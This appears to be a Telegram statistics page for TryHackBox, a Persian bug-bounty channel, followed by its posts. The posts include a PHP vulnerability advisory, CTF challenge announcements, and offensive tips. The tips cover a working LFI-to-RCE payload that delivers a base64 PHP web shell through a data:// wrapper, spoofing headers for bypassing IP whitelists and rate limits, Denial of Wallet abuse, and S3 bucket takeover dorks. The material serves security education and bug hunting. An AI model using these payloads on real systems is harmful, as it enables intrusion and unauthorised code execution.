TryHackBox
Відкрити в Telegram
Other Channels : https://youtube.com/@tryhackbox @TryHackBox ( Official Channel ) @TryHackBoxStory ( Story Hacking ) @LibrarySecOfficial ( Resources CyberSec ) @PfkCTF ( Writeup CTF )
Показати більше2 083
Підписники
-124 години
+47 днів
+3430 днів
Завантажуємо дані
Схожі канали
Хмара тегів
Вхідні та вихідні згадування
---
---
---
---
---
---
Залучення підписників
жовтень '26жовт '26
жовтень '26
+54
в 17 каналах
вересень '26
+107
в 93 каналах
Get PRO
серпень '26
+238
в 105 каналах
Get PRO
липень '260
в 5 каналах
Get PRO
червень '260
в 6 каналах
Get PRO
травень '26
+14
в 0 каналах
Get PRO
квітень '26
+13
в 0 каналах
Get PRO
березень '26
+9
в 0 каналах
Get PRO
лютий '26
+173
в 11 каналах
Get PRO
січень '26
+25
в 2 каналах
Get PRO
грудень '25
+78
в 5 каналах
Get PRO
листопад '25
+56
в 2 каналах
Get PRO
жовтень '25
+1 259
в 16 каналах
Get PRO
вересень '250
в 1 каналах
Get PRO
серпень '250
в 2 каналах
Get PRO
липень '250
в 7 каналах
Get PRO
червень '250
в 3 каналах
Get PRO
травень '250
в 4 каналах
Get PRO
квітень '250
в 6 каналах
Get PRO
березень '250
в 8 каналах
Get PRO
лютий '250
в 6 каналах
Get PRO
січень '250
в 7 каналах
Get PRO
грудень '240
в 5 каналах
Get PRO
листопад '240
в 6 каналах
Get PRO
жовтень '240
в 11 каналах
Get PRO
вересень '240
в 1 каналах
Get PRO
серпень '240
в 1 каналах
Get PRO
липень '240
в 1 каналах
Get PRO
червень '240
в 1 каналах
Get PRO
травень '240
в 1 каналах
Get PRO
квітень '240
в 2 каналах
Get PRO
березень '240
в 1 каналах
Get PRO
лютий '240
в 2 каналах
Get PRO
січень '240
в 1 каналах
Get PRO
грудень '230
в 0 каналах
Get PRO
листопад '230
в 0 каналах
Get PRO
жовтень '23
+331
в 0 каналах
| Дата | Залучення підписників | Згадування | Канали | |
| 25 жовтня | +2 | |||
| 24 жовтня | +3 | |||
| 23 жовтня | +3 | |||
| 22 жовтня | +3 | |||
| 21 жовтня | +3 | |||
| 20 жовтня | +3 | |||
| 19 жовтня | +1 | |||
| 18 жовтня | 0 | |||
| 17 жовтня | +2 | |||
| 16 жовтня | +1 | |||
| 15 жовтня | +3 | |||
| 14 жовтня | +1 | |||
| 13 жовтня | +2 | |||
| 12 жовтня | +4 | |||
| 11 жовтня | +3 | |||
| 10 жовтня | +2 | |||
| 09 жовтня | +2 | |||
| 08 жовтня | +2 | |||
| 07 жовтня | 0 | |||
| 06 жовтня | 0 | |||
| 05 жовтня | +1 | |||
| 04 жовтня | +6 | |||
| 03 жовтня | +3 | |||
| 02 жовтня | +1 | |||
| 01 жовтня | +3 |
Дописи каналу
Repost from Try Hack Box
ا🚨 PHP2Shell؛ وقتی چند ساعت تأخیر در پچ کردن میتواند دردسرساز شود
تصور کنید یک آسیب پذیری بحرانی در PHP منتشر میشود و فقط چند ساعت بعد، موجی از تلاش ها برای سوءاستفاده از آن به راه می افتد. در چنین شرایطی، دیگر فرصت زیادی برای به تعویق انداختن به روزرسانی ها وجود ندارد.
طبق گزارش منتشر شده در ۲۱ اکتبر ۲۰۲۶، دو آسیب‌پذیری با شناسه های CVE-2026-109618 و CVE-2026-109619 با نام PHP2Shell مطرح شده اند. در این گزارش، امتیاز شدت هر دو آسیب پذیری CVSS 9.2 اعلام شده و از افزایش سریع تلاش ها برای exploitation از آن ها صحبت شده است.
توجه: پیش از استناد به شناسه ها، امتیاز ها، آمار حملات و نسخه های اصلاح شده، اطلاعیه های رسمی PHP و منابع امنیتی مرتبط را بررسی کنید.
🔍 مشکل دقیقاً چیست؟
بر اساس اطلاعات گزارش شده، این دو آسیب پذیری به نحوه مدیریت حافظه در PHP مربوط هستند:
ا▪️ Out-of-Memory: مشکلات مرتبط با اتمام حافظه و نحوه مدیریت این وضعیت.
ا▪️ Use-After-Free: استفاده از حافظه‌ای که قبلاً آزاد شده است؛ مشکلی که در شرایط خاص می تواند زمینه ساز رفتار غیرمنتظره یا اجرای حمله شود.
خطر اصلی زمانی مشخص میشود که مهاجم بتواند از این ضعف ها برای اجرای کد روی سرور استفاده کند. در چنین شرایطی، بسته به سطح دسترسی فرایند PHP و پیکربندی محیط، اطلاعات حساس، توکن ها، رمزهای عبور و کلیدهای API ممکن است در معرض خطر قرار بگیرند.
🎯 چه کسانی باید نگران باشند؟
اگر سرور یا وب سایت شما با PHP کار میکند، بهتر است وضعیت آن را بررسی کنید. این موضوع میتواند برای محیط های زیر اهمیت داشته باشد:
Apache با mod_php
Nginx با PHP-FPM
LiteSpeed و FrankenPHP
وب‌سایت های WordPress و سایر برنامه های مبتنی بر PHP
البته استفاده از این فناوری ها به تنهایی به معنای آسیب پذیر بودن سرور نیست؛
🛡️ چه کارهایی باید انجام دهید؟
۱. نسخه PHP را بررسی کنید.
php -v | 2 | ⚡ سری Bash برای باگ هانترها
قسمت ۲
چندین folder رو با one-liner بساز:
mkdir {dev,test,prod}
این command همزمان ۳ directory (dev، test، prod) میسازه.
ایجاد چندین File به طور Efficient:
touch {file1,file2,file3}.txt
Fileها مثل file1.txt، file2.txt، file3.txt ساخته میشن.
تولید Fileها با Numeric Sequences:
seq -w 1 10 | xargs -I {} touch file{}.txt
این sequence fileهایی مثل:
file01.txt، file02.txt، file03.txt.... تا file10.txt میسازه.
با pro Bash commandها bug huntingت رو boost کن must برای هر hacker!
فراموش نکن react کن 🔥
@TryHackBox
#باگ_بانتی | 66 |
| 3 | 🔥 LFI به RCE via PHP Wrapper (بدون نیاز به Log File!) ⚡
LFI
داری اما با log poisoning یا تریک‌های دیگه luck نداری؟ این روش killer رو با PHP wrapperها امتحان کن:
مثال param vulnerable:
page=../../../../etc/passwd
حالا PHP shellت رو با base64 encoding بساز:
echo '<?php system($_GET["cmd"]);?>' | base64
نتیجه رو می‌گیری:
PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=
URL-encodeش کن:
PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA%2FPgo%3D
Payload نهایی (با data:// wrapper):
page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA%2FPgo%3D&cmd=id
BOOM! Remote Code Execution. 💥
من یه روش wild هم دارم برای رفتن از LFI به RCE با استفاده از leaked phpinfo() page. می‌خوای؟ بگو بدونم.
کدوم LFI رو با data:// wrapper به RCE تبدیل کردی که shell داد و bounty شد؟ تجربت رو کامنت کن
@TryHackBox
#باگ_بانتی | 54 |
| 4 | 🧠 نکته باگ بانتی حملات Denial of Wallet 💸
شنیدی Denial of Service رو... اما Denial of Wallet چی؟
🔍 حمله Denial of Wallet (DoW) وقتیه که attacker یه feature رایگان برای کاربرها رو abuse میکنه، اما برای شرکت هزینه داره منابع، credits یا cloud budget رو drain میکنه.
🚨 چطور کار میکنه؟ بهش میگن cost amplification attack – attacker یه قرون خرج نمیکنه، اما هر بار action trigger بشه، شرکت پول میده.
💥 تارگت‌های رایج در برنامه‌های باگ بانتی:
Cloud Functions (مثل AWS Lambda، Azure Functions)
مثال: یه search feature عمومی Lambda function رو call میکنه. ۱۰,۰۰۰ request اتوماتیک بفرستی boom، bill AWS شرکت spike میشه 📈.
Email/SMS APIs
مثال: feature signup/login OTP via Twilio یا SendGrid می فرسته. بدون rate-limiting؟ میتونی credits رو با generate کردن endless verification code به burner emailها یا شماره‌ها drain کنی.
AI Chatbots (مثل OpenAI، Claude APIs)
مثال: شرکت LLM bot رو integrate کرده. هر chat ~$0.01+ هزینه داره. script endless interaction بنویسی هر response یه costly API callه.
💡 الهام واقعی از دنیای واقعی
طبق مقاله PortSwigger:
"یه researcher endpoint serverless شرکت رو abuse کرد و Lambda functionهای costly رو trigger کرد bill رو با zero rate-limiting rack up کرد."
تصور کن $5,000 potential cloud misuse از یه endpoint vulnerable گزارش بدی. حالا این high-severity bugه.
🛡️ چیزی که به عنوان Bug Hunter باید دنبالش باشی:
⦁ Public feature هایی که server-side logic trigger میکنن
⦁ APIها بدون authentication یا usage cap
⦁ بدون CAPTCHA یا rate-limiting
⦁ LLM-based botها یا dynamic content generation بدون user restriction
⦁ فرصت های abuse email/SMS OTP یا notification
✅ نکته‌ها قبل از Report:
⦁ Cost impact رو demonstrate کن (مثل "این endpoint OpenAI API استفاده میکنه. X request = $Y.")
⦁ Unrestricted access رو prove کن (بدون auth/rate-limiting)
⦁ Mitigation پیشنهاد بده مثل usage quota، CAPTCHA یا billing cap
💰 این باگ‌ها اغلب plain sight مخفی ان، اما real financial damage میزنن که باعث میشه favorite برای high bounty payoutها بشن.
کدوم DoW attack رو در cloud function یا AI API تست کردی که bill spike کرد و bounty داد؟ تجربت رو کامنت کن.
@TryHackBox
#باگ_بانتی | 1 |
| 5 |  +1🔥 ۱. کمتر یاد بگیر، بیشتر تمرین کن.
🔥 ۲. ابزارها بدون دانش core هیچی نیستن.
🔥 ۳. دنبال کردن باگ های basic تو رو elite نمیکنه.
ا🔥 ۴. Pro hunterها exploitهای جدید میسازن، نه کپی قدیمی ها رو.
🔥 ۵. فراتر از checklistها فکر کن مثل یه attacker فکر کن.
کدوم نکته‌ش برات جالب تر بود ؟
@TryHackBox
#باگ_بانتی | 1 |
| 6 | 🔥 با تکنیک های killer که بیشتر باگ هانترها ازشون غافلن.
IP Spoofing Headers برای Bypass و Testing:
X-Forwarded-For: 127.0.0.1
📌 توسط proxyها/load balancerها trusted میشه
X-Real-IP: 127.0.0.1
📌 رایج در setupهای NGINX
X-Client-IP: 127.0.0.1
📌 برای rate limiting/tracking استفاده میشه
X-Remote-IP: 127.0.0.1
📌 ممکنه روی backend logic تاثیر بذاره
X-Remote-Addr: 127.0.0.1
📌 سعی میکنه remote IP رو override کنه
True-Client-IP: 127.0.0.1
📌 توسط CDNها (مثل Akamai) استفاده میشه
CF-Connecting-IP: 127.0.0.1
📌 Cloudflare real IP header
Fastly-Client-IP: 127.0.0.1
📌 Fastly CDN client IP
X-Cluster-Client-IP: 127.0.0.1
📌 در محیط‌های clustered دیده میشه
Forwarded: for=127.0.0.1
📌 نسخه RFC standard از XFF
X-Originating-IP: 127.0.0.1
📌 توسط mail serverها و legacy appها استفاده میشه
X-Forwarded-Host: 127.0.0.1
📌 میتونه روی virtual host routing تاثیر بذاره
X-Forwarded-Server: 127.0.0.1
📌 backend routing logic
X-Real-Hostname: localhost
📌 سعی میکنه internal host رو spoof کنه
Via: 127.0.0.1
📌 ممکنه در proxy chainها ظاهر بشه
Forwarded-For: 127.0.0.1
📌 non-standard اما در wild دیده میشه
Proxy-Client-IP: 127.0.0.1
📌 سرورهای Java-based (Tomcat)
WL-Proxy-Client-IP: 127.0.0.1
📌 WebLogic-specific header
استفاده: Bypass IP whitelisting، rate limitها، geo-blockها، SSRF filterها یا trigger internal behavior. چندتاشون رو combine کن برای نتایج بهتر در black-box testing.
کدوم header spoofing رو با 127.0.0.1 تست کردی که rate limit رو دور زد و bounty داد؟ تجربت رو کامنت کن.
@TryHackBox
#باگ_بانتی | 1 |
| 7 | 📌 راهنمای فنی آسیب‌پذیری های Unauthenticated (JIRA) ده مورد CVE کلیدی همراه با روش تشخیص و exploitation، ویژه علاقه مندان به تست نفوذ و باگ بانتی
🆔 @TryHackBox
Github | Linkedin | YouTube | Instagram | Other
#تست_نفوذ #امنیت_سایبری #باگ_بانتی | 15 |
| 8 | یکی از methodologyهای مخفیم رو دراپ میکنم
🌀 Takeover AWS S3 Bucket
🔥 مثل حرفه‌ای ها فوق العاده ساده اما خیلی موثر
✨ قبل از هرچیزی بیایم کل سناریو رو بفهمیم...
👀 ۱. کدوم bucketها آسیب‌پذیر برای takeover هستن؟
👀 ۲. تاثیر واقعی takeover یه S3 bucket چیه؟
👀 ۳. چطور S3 bucketهای potentially vulnerable رو پیدا کنیم؟
👀 ۴. چطور validate کنیم که bucket واقعاً توسط تارگت استفاده شده؟
⚡ ۱. Bucket های آسیب‌پذیر:
اگه تارگت قبلاً از یه S3 bucket استفاده کرده و deleteش کرده اما subdomain (CNAME) هنوز به amazonaws.com اشاره میکنه این فرصت عالی takeoverه.
⚡ ۲. تاثیر:
اگه bucket هنوز در backend یا services reference شده باشه، و تارگت فراموش کرده removeش کنه، ممکنه حتی RCE به دست بیاری. در بعضی موارد، میتونه به full system compromise منجر بشه.
⚡ ۳. پیدا کردن Bucketها (با استفاده از FOFA):
اینجا چطور با FOFA شکارشون میکنم:
🧠 FOFA Dork:
body="specified bucket does not exist" && (host="target.com" || host="target_domain_name_only") && port="443"
🔍 این dork subdomainهایی رو میده که به bucketهای missing یا deleted اشاره میکنن. FOFA fingerprints رو در سراسر وب index میکنه حتی برای منابع deleted پس goldmine برای پیدا کردن assetهای exposedی که تارگت فراموش کرده.
⚡ ۴. Validate کردن Ownership:
🔎 روش ۱: GitHub Recon
از GitHub dorkها مثل این استفاده کن:
org:target_org "target.s3.amazonaws.com"
یا ساده جستجو کن:
"target.s3.amazonaws.com"
ممکنه hardcoded linkها، past commitها یا config fileهایی پیدا کنی که اثبات کنه تارگت از این bucket استفاده میکرده.
🌐 روش ۲: DNS History (همیشه موثر نیست، اما ارزش امتحان داره)
چک کن اگه bucket برای static website hosting configure شده بوده.
از این ابزارها برای چک historical DNS records استفاده کن:
https://securitytrails.com
https://dnsdumpster.com
https://viewdns.info
https://www.robtex.com
اگه DNS leak یا CNAME recordهایی پیدا شد، analyzeشون کن تا proof of ownership بسازی.
🎯 پس بچه‌ها، امیدوارم از خوندن این قطعه کوچیک متدولوژی لذت برده باشین.
کدوم FOFA dork رو برای S3 takeover تست کردی که subdomain dangling شکار کرد؟ تجربت رو کامنت کن.
@TryHackBox
#دورک #باگ_بانتی | 16 |
| 9 |  🔖 دورک های باگ بانتی
https://dorkking.blindf.com/
شما چه دورک هایی استفاده میکنید ، کامنت کنید
@TryHackBox
#dork #باگ_بانتی | 65 |
| 10 |  🔥 چک لیست امنیت هوش مصنوعی
@TryHackBox
#چک_لیست #هوش_مصنوعی | 50 |
| 11 | 🔴 THB Security Research | CVE-2026-67276
تحلیل فنی یک نقص در Public-Key Authentication در MikroTik RouterOS که میتواند مدل اعتماد احراز هویت را تحت تأثیر قرار دهد.
📄 گزارش فنی کامل:
CVE-2026-67276 : MikroTik RouterOS
@TryHackBox
#MikroTik #RouterOS #CVE #Pentest
#میکروتیک #آسیب_پذیری | 78 |
| 12 | ⏰ PERSISTENCE SERIES | PART 3
Scheduled Tasks
وقتی خود سیستم دوباره چیزی رو اجرا میکنه.
اScheduled Taskها بخش کاملاً طبیعی Windows هستن.
Backup?
Maintenance?
Updates?
Monitoring?
همه میتونن از Scheduled Task استفاده کنن.
اما همین قابلیت باعث میشه در یک Security Assessment ارزش بررسی داشته باشه.
چرا؟
چون یک Task میتونه مشخص کنه:
چه چیزی اجرا بشه،
چه زمانی اجرا بشه،
با چه User Contextای اجرا بشه،
و تحت چه شرایطی Trigger بشه.
🔎 بنابراین یک Task غیرعادی میتونه یک Persistence Indicator باشه.
ولی فقط اسم Task رو نگاه نکنید.
این موارد هم مهم هستن:
🔹 Executable Path
🔹 Trigger
🔹 User Context
🔹 Creation / Modification Time
🔹 Parent / Child Process Relationship
و یک نکته مهم:
یک Task عجیب به‌تنهایی ثابت نمیکنه که مخربه.
مثل همیشه، Context مهمه.
🎯 سؤال:
فرض کنید بین یک Scheduled Task ناشناس و یک Registry Run Key ناشناس، فقط اجازه بررسی یکی رو دارید.
کدوم رو در اولویت قرار میدید؟
و مهم‌تر از اون، چرا؟
👇 استدلالتون رو بنویسید.
@TryHackBox
#TryHackBox #CyberSecurity #Persistence #ScheduledTasks #WindowsSecurity #RedTeam #Red_Team | 41 |
| 13 | 🧩 گاهی مشکل در ID نیست؛ در پارامتری است که اصلاً جلوی چشمت نیست.
یک API ممکن است ظاهراً این باشد:
GET /api_v1/messages
اما Backend ممکن است پارامتر دیگری هم قبول کند:
GET /api_v1/messages?user_id=<UUID>
حالا سؤال مهم این است:
این پارامتر واقعاً توسط Server Authorization می شود یا فقط برای انتخاب Object استفاده میشود؟
این یکی از جاهایی است که Endpoint Discovery و Parameter Discovery اهمیت پیدا می کنند.
برای همین در تست های واقعی، فقط پارامترهایی که در UI میبینی را بررسی نکن.
به دنبال اینها هم باش:
پارامترهای موجود در Requestهای قدیمی
پارامترهای API
Hidden Parameters
پارامترهای مربوط به User/Object
پارامترهایی که در Frontend استفاده میشوند ولی در UI دیده نمیشوند
حتی ابزارهایی مثل Arjun و Param Miner دقیقاً برای پیدا کردن Hidden Parameters می‌توانند در این مرحله مفید باشند.
اما ابزار فقط Candidate پیدا میکند.
تشخیص Vulnerability همچنان با تحلیل رفتار Authorization انجام میشود.
@TryHackBox
#تست_نفوذ #امنیت_وب #امنیت_سایبری | 49 |
| 14 | 🔐 THB CTF Team Qualification : Challenge #04
Forgotten
دسته: Web / API Authentication
سطح سختی: Hard
پروژه: TCTQ : مسیر پذیرش تیم CTF TryHackBox
📖 سناریو
اKeystone یه پلتفرم داخلی همکاری تیمیه. کاربرها میتونن اکانت بسازن، لاگین کنن، و اگه پسوردشون یادشون رفت، دسترسیشون رو برگردونن.
شما به عنوان یه پنتستر خارجی استخدام شدید. یه اکانت عادی بسازید و ببینید یه کاربر معمولی تا کجا میتونه پیش بره.
🎯 هدف: شناسایی و دسترسی به بالاترین‌سطح Resource قابل دسترس روی این پلتفرم، و گرفتن verification code ای که برمیگردونه.
⚙️ نحوه اجرا
docker compose up --build
یا
./start.sh
اپلیکیشن روی آدرس زیر بالا میاد:
http://localhost:8004
فرمت فلگ :
THB{ }
ارسال فلگ :
@Unique_exploitbot
@TryHackBox
#CTF_THB | 35 |
| 15 |  حل چلنچ : Mirror : THB CTF
حل چالش توسط اقا ایمان عزیز از اعضای کانال .
@TryHackBox
#CTF_THB | 41 |
| 16 | 🔐 THB CTF Team Qualification : Challenge #03 : Mirror
دسته: Web Penetration Testing
سطح سختی: Hard
پروژه: TCTQ مسیر پذیرش تیم CTF TryHackBox
📖 سناریو
اMirror یه Identity Gateway داخلیه که توکن های session رو برای چند تا سرویس پلتفرم صادر و verify میکنه. همچنین یه مستندات integration برای سرویس های partner منتشر کرده که بخوان توکن های Mirror رو مستقل verify کنن.
شما به‌عنوان یه پنتستر خارجی استخدام شدید. یه اکانت عادی بسازید و ببینید یه کاربر معمولی تا کجا میتونه پیش بره.
🎯 هدف: شناسایی و دسترسی به بالاترین‌سطح Resource قابل دسترس روی این پلتفرم، و گرفتن verification code ای که برمیگردونه.
⚙️ نحوه اجرا
docker compose up --build
یا
./start.sh
اپلیکیشن روی آدرس زیر بالا میاد:
http://localhost:8003
فرمت فلگ :
THB{ }
ارسال فلگ :
@Unique_exploitbot
قوانین و توضیحات تکمیلی
@TryHackBox
#CTF_THB | 30 |
| 17 |  حل چلنچ دوم :
Race Against Trust : THB CTF
حل CTF توسط اقا احمد عزیز از اعضای کانال .
@TryHackBox
#CTF_THB | 79 |
| 18 |  حل چلنچ دوم :
Race Against Trust : THB CTF
حل CTF توسط اقا ایمان عزیز از اعضای کانال .
@TryHackBox
#CTF_THB | 73 |
| 19 |  حل چلنچ : The Broken Trust : THB CTF
حل چالش توسط اقا احمد عزیز از اعضای کانال .
@TryHackBox
#CTF_THB | 61 |
| 20 |  📌 برگزاری جلسه ویس چت :
با درود خدمت دوستان و همراهان عزیز،
در راستای ارتقای سطح دانش فنی و آشنایی بیشتر با مباحث امنیت سایبری، قصد داریم جلسه‌ای تخصصی و آموزشی در خصوص Ai Security به صورت ویس چت برگزار کنیم.
🎙 مهمان ویژه:
👤 مهندس : سجاد چهرازی
📅 زمان برگزاری: امشب
📍 پلتفرم: گوگل میت
🕗 ساعت : 21:00
🔖 لینک جلسه :
meet.google.com/wsa-vfhy-xuz
⁉️ موضوعات ما :
📌 هوش مصنوعی در امنیت سایبری؛ Automation واقعی یا فقط یک Copilot پیشرفته؟
🔔 نکته مهم:
جهت شرکت به موقع جلسه، حتماً کانال تلگرام را چک کنید تا از این جلسه جا نمونید .
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
🆔 @RadioZeroPod
🆔 @TryHackBox | 23 |
